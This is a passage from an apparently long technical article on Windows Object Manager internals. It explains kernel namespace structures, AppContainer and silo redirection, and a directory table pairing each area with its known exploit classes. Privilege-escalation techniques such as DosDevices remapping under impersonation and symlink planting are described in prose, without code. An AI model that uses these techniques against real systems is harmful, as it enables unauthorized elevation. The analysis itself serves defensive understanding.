&lt;p&gt;The cross-cutting hardening generation closes the symlink subclass that recurred in Generations 1, 3, and 5. MS15-090 shipped on August 11, 2015 [@ms-ms15-090] and &quot;corrects how Windows Object Manager handles object symbolic links created by a sandbox process, by preventing improper interaction with the registry by sandboxed applications, and by preventing improper interaction with the filesystem by sandboxed applications.&quot; The bulletin&apos;s canonical Object Manager CVE is CVE-2015-2428 [@nvd-cve-2015-2428], described verbatim as the case where the &quot;Object Manager in Microsoft Windows... does not properly constrain impersonation levels during interaction with object symbolic links that originated in a sandboxed process.&quot; Subsequent Windows 10 builds added &lt;code&gt;OBJ_DONT_REPARSE&lt;/code&gt;, an open-time flag that disables symbolic-link substitution for callers willing to opt in, and post-Siloscape patches in 2021 closed &lt;code&gt;NtSetInformationSymbolicLink&lt;/code&gt; retargeting from inside a silo.&lt;/p&gt;
&lt;p&gt;The scope document for this article originally attributed MS15-090 to CVE-2015-2528 and CVE-2015-1463. Independent NVD verification confirmed neither is correct: CVE-2015-2528 [@nvd-cve-2015-2528] is the MS15-102 Task Management EoP, and CVE-2015-1463 [@nvd-cve-2015-1463] is a ClamAV denial-of-service crash. The canonical MS15-090 OM-symlink CVE is CVE-2015-2428. Separately, CVE-2018-0824 [@nvd-cve-2018-0824] is a CWE-502 COM deserialization issue that joined the CISA KEV catalog on 2024-08-05, not a namespace-squatting CVE.&lt;/p&gt;
&lt;p&gt;The residual subclass MS15-090 did not close was the per-session &lt;code&gt;\??&lt;/code&gt; DosDevices remapping path under impersonation. A low-privileged process whose token is impersonated by a SYSTEM service can plant a &lt;code&gt;DefineDosDevice&lt;/code&gt; remapping that survives into the impersonation-time &lt;code&gt;\??&lt;/code&gt; view, and the SYSTEM-side activation-context resolver then opens the redirected path while running with elevated privileges. The canonical 2023 worked example is HackSys&apos;s &lt;em&gt;Activation Context Hell -- DosDevices Remapping Attack under Impersonation&lt;/em&gt; [@hacksys-activation-context-hell], which targets the CSRSS / SxS activation-context resolver and shipped as CVE-2023-35359 [@nvd-cve-2023-35359], with the closely-related CVE-2022-22047 [@nvd-cve-2022-22047] covering the underlying CSRSS surface. The mitigation has to live inside the impersonation-aware &lt;code&gt;\??&lt;/code&gt; resolver in the SYSTEM caller, not at the symlink-creation gate.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Every generation since Generation 1 has &lt;em&gt;layered&lt;/em&gt; a new isolation primitive on top of the prior generation. None has rendered its predecessor obsolete. On 2026 Windows 11 25H2 all six generations coexist simultaneously: a UWP / MSIX app inside a Server Silo on a VBS-enabled host is session-partitioned, lowbox-rewritten, silo-scoped, VTL0-confined, integrity-gated, and watched by every loaded EDR&apos;s &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; filter. Each layer adds an independent enforcement point at &lt;code&gt;ObpLookupObjectName&lt;/code&gt; time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Six generations of isolation primitives is a tidy story, but it has glossed the most important question. What is the actual kernel data structure all six generations parameterize? What does the path-walk algorithm look like, what is the type registry, and where does the hash table live?&lt;/p&gt;
&lt;h2&gt;5. The four load-bearing primitives&lt;/h2&gt;
&lt;p&gt;If you remember one paragraph from this article, make it this one. The Object Manager namespace is built out of four kernel data structures: an &lt;code&gt;OBJECT_HEADER&lt;/code&gt; that prefixes every named object in memory, an &lt;code&gt;OBJECT_TYPE&lt;/code&gt; singleton that owns each type&apos;s method table, a &lt;code&gt;ParseProcedure&lt;/code&gt; that delegates path resolution to the owning subsystem when needed, and an &lt;code&gt;OBJECT_DIRECTORY&lt;/code&gt; hash table that maps names to objects. Every Windows security boundary you have read about is a parameter to one of these four pieces. The next eight subsections rebuild them one at a time.&lt;/p&gt;

flowchart TB
    OD[&quot;OBJECT_DIRECTORY&lt;br /&gt;(37-bucket hash table)&quot;] --&amp;gt;|&quot;hash(name) % 37&quot;| OH
    OH[&quot;OBJECT_HEADER&lt;br /&gt;(PointerCount, HandleCount,&lt;br /&gt;TypeIndex, InfoMask,&lt;br /&gt;SecurityDescriptor, Body offset)&quot;] --&amp;gt;|&quot;TypeIndex XOR&lt;br /&gt;ObHeaderCookie&quot;| OT
    OT[&quot;OBJECT_TYPE singleton&lt;br /&gt;(in nt!ObTypeIndexTable)&quot;] --&amp;gt;|&quot;TypeInfo&quot;| TI
    TI[&quot;TYPE_INFO method table&lt;br /&gt;(Dump, Open, Close, Delete,&lt;br /&gt;ParseProcedure,&lt;br /&gt;Security, QueryName, ...)&quot;]
    OH --&amp;gt;|&quot;Body[]&quot;| BODY[&quot;Type-specific body&lt;br /&gt;(EPROCESS, FILE_OBJECT,&lt;br /&gt;SECTION_OBJECT, ...)&quot;]
&lt;h3&gt;5.1 OBJECT_HEADER&lt;/h3&gt;
&lt;p&gt;Every named kernel object lives in non-paged pool. Immediately &lt;em&gt;before&lt;/em&gt; each object&apos;s typed body sits an &lt;code&gt;OBJECT_HEADER&lt;/code&gt;, a 0x30-byte (48-byte on x64) structure that the Object Manager owns. &lt;code&gt;PointerCount&lt;/code&gt; and &lt;code&gt;HandleCount&lt;/code&gt; are the two reference counts: the former tracks raw kernel-mode pointer references, the latter tracks user-mode handles. &lt;code&gt;TypeIndex&lt;/code&gt; is a single byte that indexes into the &lt;code&gt;nt!ObTypeIndexTable&lt;/code&gt; to find the object&apos;s type singleton; since Windows 10 1709, the byte is XOR-obfuscated against the per-boot &lt;code&gt;nt!ObHeaderCookie&lt;/code&gt; so that simple type confusion is non-trivial.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;InfoMask&lt;/code&gt; is a bitmap of optional sub-headers that may precede the main header: &lt;code&gt;OBJECT_HEADER_NAME_INFO&lt;/code&gt; for named objects, &lt;code&gt;OBJECT_HEADER_QUOTA_INFO&lt;/code&gt; for objects that charge a quota block, &lt;code&gt;OBJECT_HEADER_HANDLE_INFO&lt;/code&gt; for objects that need per-process handle accounting. &lt;code&gt;SecurityDescriptor&lt;/code&gt; is a tagged pointer to the object&apos;s DACL/SACL. &lt;code&gt;Body[]&lt;/code&gt; is the offset at which the type-specific payload begins; for a process object that payload is an &lt;code&gt;EPROCESS&lt;/code&gt;, for a file it is a &lt;code&gt;FILE_OBJECT&lt;/code&gt;, and so on. The canonical reference is Chapter 8 of &lt;em&gt;Windows Internals 7th Edition Part 1&lt;/em&gt; [@microsoftpressstore-wininternals7-part1].&lt;/p&gt;

The per-object header (`nt!_OBJECT_HEADER`) that precedes every named kernel object in non-paged pool. Carries reference counts (`PointerCount`, `HandleCount`), a `TypeIndex` byte that points into `nt!ObTypeIndexTable` (XOR-obfuscated against `nt!ObHeaderCookie` since Windows 10 1709), an `InfoMask` describing optional sub-headers, a `SecurityDescriptor` pointer, and the offset to the typed `Body[]`.
&lt;p&gt;The &lt;code&gt;TypeIndex&lt;/code&gt; XOR-with-cookie is one of the smallest kernel hardening changes Microsoft has shipped: a single byte that prevents a poisoned &lt;code&gt;OBJECT_HEADER&lt;/code&gt; from naming an arbitrary type after a heap-corruption primitive. The cookie is per-boot and lives in &lt;code&gt;nt!ObHeaderCookie&lt;/code&gt;. The hardening is documented in &lt;em&gt;Windows Internals 7th Edition&lt;/em&gt; Chapter 8 [@microsoftpressstore-wininternals7-part1] and in Geoff Chappell&apos;s reverse-engineering studies; Microsoft has not, as of 2026, published a Learn-hosted reference for the cookie itself.&lt;/p&gt;
&lt;h3&gt;5.2 OBJECT_TYPE&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;OBJECT_TYPE&lt;/code&gt; is the per-type singleton. There is exactly one &lt;code&gt;OBJECT_TYPE&lt;/code&gt; per registered kernel type, and they live in &lt;code&gt;\ObjectTypes&lt;/code&gt;. On Windows 11 25H2 the count sits at roughly seventy-five: &lt;code&gt;Type&lt;/code&gt;, &lt;code&gt;Directory&lt;/code&gt;, &lt;code&gt;SymbolicLink&lt;/code&gt;, &lt;code&gt;Token&lt;/code&gt;, &lt;code&gt;Job&lt;/code&gt;, &lt;code&gt;Process&lt;/code&gt;, &lt;code&gt;Thread&lt;/code&gt;, &lt;code&gt;Section&lt;/code&gt;, &lt;code&gt;Key&lt;/code&gt;, &lt;code&gt;File&lt;/code&gt;, &lt;code&gt;Event&lt;/code&gt;, &lt;code&gt;Mutant&lt;/code&gt;, &lt;code&gt;Semaphore&lt;/code&gt;, &lt;code&gt;Timer&lt;/code&gt;, &lt;code&gt;WindowStation&lt;/code&gt;, &lt;code&gt;Desktop&lt;/code&gt;, &lt;code&gt;Device&lt;/code&gt;, &lt;code&gt;Driver&lt;/code&gt;, &lt;code&gt;IoCompletion&lt;/code&gt;, &lt;code&gt;ALPC Port&lt;/code&gt;, &lt;code&gt;EtwRegistration&lt;/code&gt;, &lt;code&gt;Silo&lt;/code&gt;, and dozens more.&lt;/p&gt;

The per-type singleton (`nt!_OBJECT_TYPE`) that owns each kernel type&apos;s method table. The `TypeInfo` field carries eight procedure pointers and one offset field (WaitObjectFlagOffset): `DumpProcedure`, `OpenProcedure`, `CloseProcedure`, `DeleteProcedure`, `ParseProcedure` (the path-resolution callback), `SecurityProcedure`, `QueryNameProcedure`, `OkayToCloseProcedure`, and a `WaitObjectFlagOffset` offset for waitable types. Every `OBJECT_TYPE` instance is reachable through `\ObjectTypes`.
&lt;p&gt;The &lt;code&gt;TypeInfo&lt;/code&gt; field on each &lt;code&gt;OBJECT_TYPE&lt;/code&gt; carries eight procedure pointers and one offset field (WaitObjectFlagOffset). The most consequential is the &lt;code&gt;ParseProcedure&lt;/code&gt;. When &lt;code&gt;ObpLookupObjectName&lt;/code&gt; is walking a path component-by-component, and a step lands on an object whose &lt;code&gt;OBJECT_TYPE&lt;/code&gt; defines a &lt;code&gt;ParseProcedure&lt;/code&gt;, the OM hands the &lt;em&gt;residual&lt;/em&gt; path and the desired access to that procedure, which becomes the namespace authority below that point. That is how the registry&apos;s &lt;code&gt;Key&lt;/code&gt; type, the I/O Manager&apos;s &lt;code&gt;Device&lt;/code&gt; type, and the various WMI / Volume-Manager subsystems insert themselves into the namespace without the Object Manager having to know any of their internal structure [@en-wikipedia-object-manager].&lt;/p&gt;
&lt;h3&gt;5.3 The parse procedure&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ObpLookupObjectName&lt;/code&gt; walks &lt;code&gt;\Foo\Bar\Baz\...\Leaf&lt;/code&gt; left-to-right. At each component the walker does one of three things. The common case is a hash-table lookup in the current &lt;code&gt;OBJECT_DIRECTORY&lt;/code&gt;&apos;s 37 buckets to find the child object by name. The second case is &lt;code&gt;SymbolicLink&lt;/code&gt; substitution: if the child object&apos;s type is &lt;code&gt;SymbolicLink&lt;/code&gt;, the walker substitutes the link target and re-enters the walk at the substitution. The third and most consequential case is &lt;em&gt;parse-procedure handoff&lt;/em&gt;. If the child object&apos;s &lt;code&gt;OBJECT_TYPE&lt;/code&gt; has a non-null &lt;code&gt;ParseProcedure&lt;/code&gt;, the walker stops, hands the residual path string to that procedure, and lets it decide what to do.&lt;/p&gt;

The load-bearing method pointer on each `OBJECT_TYPE`&apos;s `TypeInfo` field. When `ObpLookupObjectName` encounters an object whose type defines a `ParseProcedure`, the residual path is handed to that procedure for resolution. The two canonical parse procedures are `IopParseDevice` (for the `Device` type, which delegates further resolution to the device&apos;s owning driver via `IRP_MJ_CREATE`) and `CmpParseKey` (for the `Key` type, which walks the registry hive).
&lt;p&gt;&lt;code&gt;IopParseDevice&lt;/code&gt; is the parse procedure for the &lt;code&gt;Device&lt;/code&gt; type. When the walker reaches &lt;code&gt;\Device\HarddiskVolume1&lt;/code&gt; and is asked to continue with &lt;code&gt;\Users\me\file.txt&lt;/code&gt;, the I/O Manager builds an &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; packet, dispatches it to the filesystem driver that owns the volume (NTFS, ReFS, ExFAT, FAT32, or one of several others), and lets that driver walk the rest of the path inside its own on-disk structures. The driver returns a &lt;code&gt;FILE_OBJECT&lt;/code&gt;, which the Object Manager packages into a handle.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CmpParseKey&lt;/code&gt; is the parse procedure for the &lt;code&gt;Key&lt;/code&gt; type. When the walker reaches &lt;code&gt;\REGISTRY&lt;/code&gt; and is asked to continue with &lt;code&gt;\MACHINE\Software\Microsoft\Windows&lt;/code&gt;, the Configuration Manager takes over and walks the in-memory hive structures.&lt;/p&gt;
&lt;p&gt;The structural consequence is profound. Every named file in Windows is, technically, a leaf in the Object Manager namespace. NTFS, ReFS, ExFAT, and the registry are not separate naming systems; they are parse-procedure callbacks that hand &lt;code&gt;FILE_OBJECT&lt;/code&gt; or &lt;code&gt;KEY&lt;/code&gt; bodies back to the OM.&lt;/p&gt;

sequenceDiagram
    participant User as User Process
    participant OM as ObpLookupObjectName
    participant Dir as \GLOBAL?? OBJECT_DIRECTORY
    participant Dev as \Device\HarddiskVolume1 (Device type)
    participant Drv as NTFS Driver
    User-&amp;gt;&amp;gt;OM: NtCreateFile(&quot;\??\C:\Users\me\file.txt&quot;)
    OM-&amp;gt;&amp;gt;OM: rewrite \??\ -&amp;gt; \Sessions\\DosDevices\
    OM-&amp;gt;&amp;gt;Dir: lookup &quot;C:&quot;
    Dir--&amp;gt;&amp;gt;OM: SymbolicLink -&amp;gt; \Device\HarddiskVolume1
    OM-&amp;gt;&amp;gt;OM: substitute, re-enter walk
    OM-&amp;gt;&amp;gt;Dev: lookup \Device\HarddiskVolume1
    Dev--&amp;gt;&amp;gt;OM: type=Device, has ParseProcedure
    OM-&amp;gt;&amp;gt;Drv: IopParseDevice with &quot;\Users\me\file.txt&quot;
    Drv-&amp;gt;&amp;gt;Drv: IRP_MJ_CREATE: walk MFT, find file
    Drv--&amp;gt;&amp;gt;OM: FILE_OBJECT
    OM--&amp;gt;&amp;gt;User: HANDLE
&lt;h3&gt;5.4 The 37-bucket directory hash&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;OBJECT_DIRECTORY&lt;/code&gt; is a 37-bucket open-hash table. The hash function is &lt;code&gt;RtlHashUnicodeString&lt;/code&gt;, applied to each component name. Thirty-seven was the prime Cutler picked in 1993; the constant has not changed in thirty-three years. The folk-knowledge corroboration is in Chapter 8 of &lt;em&gt;Windows Internals 7th Edition Part 1&lt;/em&gt; and in Forshaw&apos;s &lt;em&gt;Windows Security Internals&lt;/em&gt; Chapter 8; Microsoft has never published a Learn-hosted spec for the constant [@nostarch-windows-security-internals].&lt;/p&gt;

The 37-bucket open-hash table (`nt!_OBJECT_DIRECTORY`) that lives at every interior node of the Object Manager tree. Keys are `UNICODE_STRING` component names; the hash is `RtlHashUnicodeString` modulo 37. Each bucket is a linked list of `OBJECT_DIRECTORY_ENTRY` records that point at the next-level `OBJECT_HEADER`. Reading the tree requires `Directory`-`TRAVERSE` rights on the parent.
&lt;p&gt;The 37-bucket constant from 1993 has not changed in thirty-three years. On a 2026 Windows 11 25H2 box with several hundred MSIX packages each owning an &lt;code&gt;\AppContainerNamedObjects\&amp;lt;package-sid&amp;gt;\&lt;/code&gt; subtree, average bucket chains run several entries deep. Collision pressure on the constant is the open problem returned to in Section 9.&lt;/p&gt;
&lt;h3&gt;5.5 The lowbox redirect inside ObpLookupObjectName&lt;/h3&gt;
&lt;p&gt;This is the subsection that earns the second aha moment of the article.&lt;/p&gt;
&lt;p&gt;When the calling thread&apos;s primary token is a lowbox token, &lt;code&gt;ObpLookupObjectName&lt;/code&gt; consults the token&apos;s &lt;code&gt;AppContainerNumber&lt;/code&gt; and package SID &lt;em&gt;before&lt;/em&gt; it begins the walk. Lookups that would otherwise resolve into &lt;code&gt;\BaseNamedObjects&lt;/code&gt; or &lt;code&gt;\RPC Control&lt;/code&gt; are rewritten into &lt;code&gt;\Sessions\&amp;lt;n&amp;gt;\AppContainerNamedObjects\&amp;lt;package-sid&amp;gt;\&lt;/code&gt;. The rewrite happens transparently to the user-mode Win32 caller, which still thinks it asked for &lt;code&gt;\BaseNamedObjects\X&lt;/code&gt;.&lt;/p&gt;

A specialised token type produced by `NtCreateLowBoxToken` that carries a `TOKEN_APPCONTAINER_INFORMATION` block (with a package SID `S-1-15-2-...` and an `AppContainerNumber`). When a process runs under a lowbox token, `ObpLookupObjectName` rewrites every named-object lookup into the per-package directory `\Sessions\\AppContainerNamedObjects\\` before path walking begins.

The user-facing brand for the lowbox-token mechanism. Every UWP / MSIX / Windows Store app runs in an AppContainer. The Windows API surface is unchanged for the app; the Object Manager rewrites every named-object name into a per-package subtree, gating cross-package coordination at the namespace layer. The Microsoft Learn page describes this as &quot;Sandboxing the application kernel objects, the AppContainer environment prevents the application from influencing, or being influenced by, other application processes&quot; [@ms-appcontainer-isolation].
&lt;p&gt;The aha moment is structural. AppContainer is not a &lt;em&gt;containment&lt;/em&gt; mechanism the way you might first picture it. It is a &lt;em&gt;name-translation&lt;/em&gt; mechanism. The lowbox token tells the kernel which directory to rewrite every name into; the sandbox is, at root, a hash-table indirection inside the kernel&apos;s path-walk function. The Edge renderer process cannot name &lt;code&gt;\BaseNamedObjects\GlobalEvent_Foo&lt;/code&gt; because the kernel rewrites that name into &lt;code&gt;\Sessions\1\AppContainerNamedObjects\S-1-15-2-...\Global\GlobalEvent_Foo&lt;/code&gt; before lookup even begins. The &quot;sandbox&quot; is a hash-table redirect.&lt;/p&gt;
&lt;h3&gt;5.6 The Silo OBJECT_TYPE and silo-scoped views&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Silo&lt;/code&gt; is itself a registered &lt;code&gt;OBJECT_TYPE&lt;/code&gt;. Each silo instance carries a silo-scoped &lt;code&gt;RootDirectory&lt;/code&gt;, &lt;code&gt;DosDevicesDirectory&lt;/code&gt;, and &lt;code&gt;ServerSiloGlobals&lt;/code&gt; (with the silo&apos;s own registry-hive root and per-silo &lt;code&gt;BaseNamedObjects&lt;/code&gt; root). &lt;code&gt;PsAttachSiloToCurrentThread&lt;/code&gt; switches the thread&apos;s namespace view; once attached, every Object Manager lookup runs through the silo&apos;s roots instead of the host&apos;s. Job objects, which provide the cgroups-equivalent resource-accounting substrate, are the underlying primitive the Silo type extends [@ms-job-objects]. The structural design history is in Prizmant&apos;s reverse-engineering writeup [@unit42-rev-eng-windows-containers].&lt;/p&gt;

A specialised `Job`-derived kernel object (`OBJECT_TYPE` Silo) introduced in Windows Server 2016 that carries silo-scoped `RootDirectory`, `DosDevicesDirectory`, and `ServerSiloGlobals` fields. A thread attached to a silo via `PsAttachSiloToCurrentThread` sees the silo&apos;s namespace as its root; the silo&apos;s `\GLOBAL??\C:` resolves to the silo&apos;s `\Device\HarddiskVolume*`, which is a different `Device` object from the host&apos;s. Server Silo is the substrate underneath Windows Server Containers and WSL1.
&lt;h3&gt;5.7 The Secure Kernel&apos;s parallel namespace&lt;/h3&gt;
&lt;p&gt;Inside VTL1, the Secure Kernel maintains a separate Object Manager tree with its own root, its own type registry, and its own handle-table machinery. The VTL0 NT kernel cannot enumerate this tree; the only cross-VTL traffic is the narrow ALPC interface each trustlet publishes. Ionescu&apos;s BH2015 inventory (Trustlet IDs 0 through 3 at ship, growing in subsequent releases) is the canonical primary [@ionescu-bh2015-pdf].&lt;/p&gt;

A user-mode process running in Isolated User Mode under the VTL1 Secure Kernel. Each trustlet is signed with both the Windows System Component Verification EKU (1.3.6.1.4.1.311.10.3.6) and the IUM EKU (1.3.6.1.4.1.311.10.3.37), runs at Signature Level 12, and is reachable from VTL0 only through narrow ALPC ports. LSAISO.EXE (Credential Guard), VMSP.EXE (virtual TPM host), and the vTPM provisioning trustlet are the inbox examples.
&lt;h3&gt;5.8 The handle table&lt;/h3&gt;
&lt;p&gt;The namespace is the &lt;em&gt;name&lt;/em&gt; side; the per-process &lt;code&gt;HANDLE_TABLE&lt;/code&gt; is the &lt;em&gt;access&lt;/em&gt; side. Once a handle exists in a process, no name lookup happens on subsequent use; the kernel dereferences the handle through a three-level radix tree indexed by the 32-bit handle value, lands on an &lt;code&gt;OBJECT_HEADER&lt;/code&gt;, and operates on the body. This is why &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; fires on handle &lt;em&gt;creation&lt;/em&gt; and &lt;em&gt;duplication&lt;/em&gt; rather than on every use, and why an inherited handle bypasses the callback entirely. The structural consequence -- that the Object Manager is the gate at name resolution but not at every operation -- comes back in Section 8.&lt;/p&gt;
&lt;p&gt;Now you know the data structure. But what does the actual tree look like in 2026? What does &lt;code&gt;\&lt;/code&gt; contain on a Windows 11 25H2 box, and which security boundary lives in each top-level directory?&lt;/p&gt;
&lt;h2&gt;6. The 2026 top-level directory atlas&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;WinObj.exe&lt;/code&gt; as administrator on a Windows 11 25H2 machine and the root directory at &lt;code&gt;\&lt;/code&gt; carries roughly twenty entries. The table below catalogues the load-bearing ones. Each row names the directory, the security boundary it physically realises, and a representative exploit class that has been thrown at it. The driver kit&apos;s Object Directories reference [@ms-object-directories] is Microsoft&apos;s canonical inventory.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Top-level directory&lt;/th&gt;
&lt;th&gt;What it contains&lt;/th&gt;
&lt;th&gt;Which boundary it enforces&lt;/th&gt;
&lt;th&gt;Exploit class&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\ObjectTypes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The ~75 &lt;code&gt;OBJECT_TYPE&lt;/code&gt; singletons (&lt;code&gt;Process&lt;/code&gt;, &lt;code&gt;Thread&lt;/code&gt;, &lt;code&gt;Section&lt;/code&gt;, &lt;code&gt;Key&lt;/code&gt;, &lt;code&gt;File&lt;/code&gt;, &lt;code&gt;Token&lt;/code&gt;, &lt;code&gt;Job&lt;/code&gt;, &lt;code&gt;Silo&lt;/code&gt;, etc.)&lt;/td&gt;
&lt;td&gt;Meta -- the type registry the rest of the namespace depends on&lt;/td&gt;
&lt;td&gt;Type confusion (mitigated by &lt;code&gt;ObHeaderCookie&lt;/code&gt; since Windows 10 1709)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Device&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Driver-published device objects (&lt;code&gt;\Device\HarddiskVolume*&lt;/code&gt;, &lt;code&gt;\Device\Tcp&lt;/code&gt;, &lt;code&gt;\Device\Tpm&lt;/code&gt;, &lt;code&gt;\Device\NamedPipe&lt;/code&gt;, &lt;code&gt;\Device\Mailslot&lt;/code&gt;, &lt;code&gt;\Device\Vmbus&lt;/code&gt;, &lt;code&gt;\Device\KsecDD&lt;/code&gt;, &lt;code&gt;\Device\CNG&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The I/O Manager&apos;s surface; each driver&apos;s parse procedure consumes residual paths&lt;/td&gt;
&lt;td&gt;Bait-and-switch on &lt;code&gt;\Device&lt;/code&gt; (a low-privilege user redirects a privileged opener through a planted symbolic link)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Driver&lt;/code&gt;, &lt;code&gt;\FileSystem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loaded &lt;code&gt;DRIVER_OBJECT&lt;/code&gt; registries&lt;/td&gt;
&lt;td&gt;KMCS / HVCI driver-load gate&lt;/td&gt;
&lt;td&gt;Vulnerable signed-driver class (BYOVD)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\GLOBAL??&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The machine-wide DosDevices view -- where &lt;code&gt;C:&lt;/code&gt; and &lt;code&gt;D:&lt;/code&gt; are symlinks to &lt;code&gt;\Device\HarddiskVolume*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cross-session drive-letter map&lt;/td&gt;
&lt;td&gt;Symlink redirect across session boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\??&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The per-session DosDevices alias, falling through to &lt;code&gt;\GLOBAL??&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Session-scoped drive-letter map&lt;/td&gt;
&lt;td&gt;The HackSys / CVE-2023-35359 worked example: a low-privilege caller plants a &lt;code&gt;DefineDosDevice&lt;/code&gt; remapping that survives into the impersonation-time &lt;code&gt;\??&lt;/code&gt; view, and the SYSTEM-side activation-context resolver opens the redirected path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\BaseNamedObjects&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The global / &lt;code&gt;Global\&lt;/code&gt;-prefixed-only BNO&lt;/td&gt;
&lt;td&gt;Cross-session named-object visibility&lt;/td&gt;
&lt;td&gt;Pre-Vista squatting class (closed by Generation 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Sessions\&amp;lt;n&amp;gt;\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Per-session subtrees (BNO, DosDevices, WindowStations, AppContainerNamedObjects)&lt;/td&gt;
&lt;td&gt;Session boundary (Generation 2)&lt;/td&gt;
&lt;td&gt;Shatter attacks (closed by Generation 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Sessions\&amp;lt;n&amp;gt;\AppContainerNamedObjects\&amp;lt;package-sid&amp;gt;\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Per-package UWP / MSIX lowbox namespace&lt;/td&gt;
&lt;td&gt;AppContainer / lowbox boundary (Generation 3)&lt;/td&gt;
&lt;td&gt;Forshaw P0 Issue 1550 arbitrary-directory creation race&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\RPC Control&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Every named LRPC ALPC port (every COM call lands here)&lt;/td&gt;
&lt;td&gt;RPC endpoint visibility&lt;/td&gt;
&lt;td&gt;Endpoint squatting against named LRPC ports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\KnownDlls&lt;/code&gt;, &lt;code&gt;\KnownDlls32&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pre-mapped &lt;code&gt;Section&lt;/code&gt; objects for system DLLs&lt;/td&gt;
&lt;td&gt;Loader supply-chain&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DefineDosDevice&lt;/code&gt; + &lt;code&gt;\??&lt;/code&gt; symlink-plant trick (closed in NTDLL July 2022, build 19044.1826)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\KernelObjects&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System-defined events (&lt;code&gt;LowMemoryCondition&lt;/code&gt;, &lt;code&gt;HighMemoryCondition&lt;/code&gt;, etc.)&lt;/td&gt;
&lt;td&gt;Kernel-internal visibility&lt;/td&gt;
&lt;td&gt;None public&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Callback&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System-defined &lt;code&gt;Callback&lt;/code&gt; objects (&lt;code&gt;ExCallback&lt;/code&gt; slots drivers register against)&lt;/td&gt;
&lt;td&gt;Kernel API extension surface&lt;/td&gt;
&lt;td&gt;Driver-callback abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Security&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;LSA-private endpoints&lt;/td&gt;
&lt;td&gt;LSA / authentication isolation&lt;/td&gt;
&lt;td&gt;Credential-theft (the LSAISO trustlet via Generation 4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Windows&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;BNO-redirect surface and &lt;code&gt;SharedSection&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Win32 subsystem shared state&lt;/td&gt;
&lt;td&gt;Cross-session Win32 state leakage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\Silos\&amp;lt;id&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Per-container silo subroots on Server SKUs&lt;/td&gt;
&lt;td&gt;Server Silo boundary (Generation 5)&lt;/td&gt;
&lt;td&gt;Siloscape -- symlink retarget out of the silo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\BNOLINKS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The boundary-keyed private-namespace index&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CreatePrivateNamespace&lt;/code&gt; cross-session/cross-package IPC&lt;/td&gt;
&lt;td&gt;None public; the directory itself is RE-derived&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

flowchart LR
    subgraph EdgeRenderer[&quot;Microsoft Edge Renderer (lowbox token)&quot;]
        K32[&quot;CreateMutexW(L&apos;Global\\Foo&apos;)&quot;]
    end
    K32 --&amp;gt;|&quot;NtCreateMutant, OBJECT_ATTRIBUTES&quot;| OB
    subgraph KernelOb[&quot;ObpLookupObjectName&quot;]
        OB[&quot;Read caller token&lt;br /&gt;token.AppContainerNumber&lt;br /&gt;token.PackageSid&quot;]
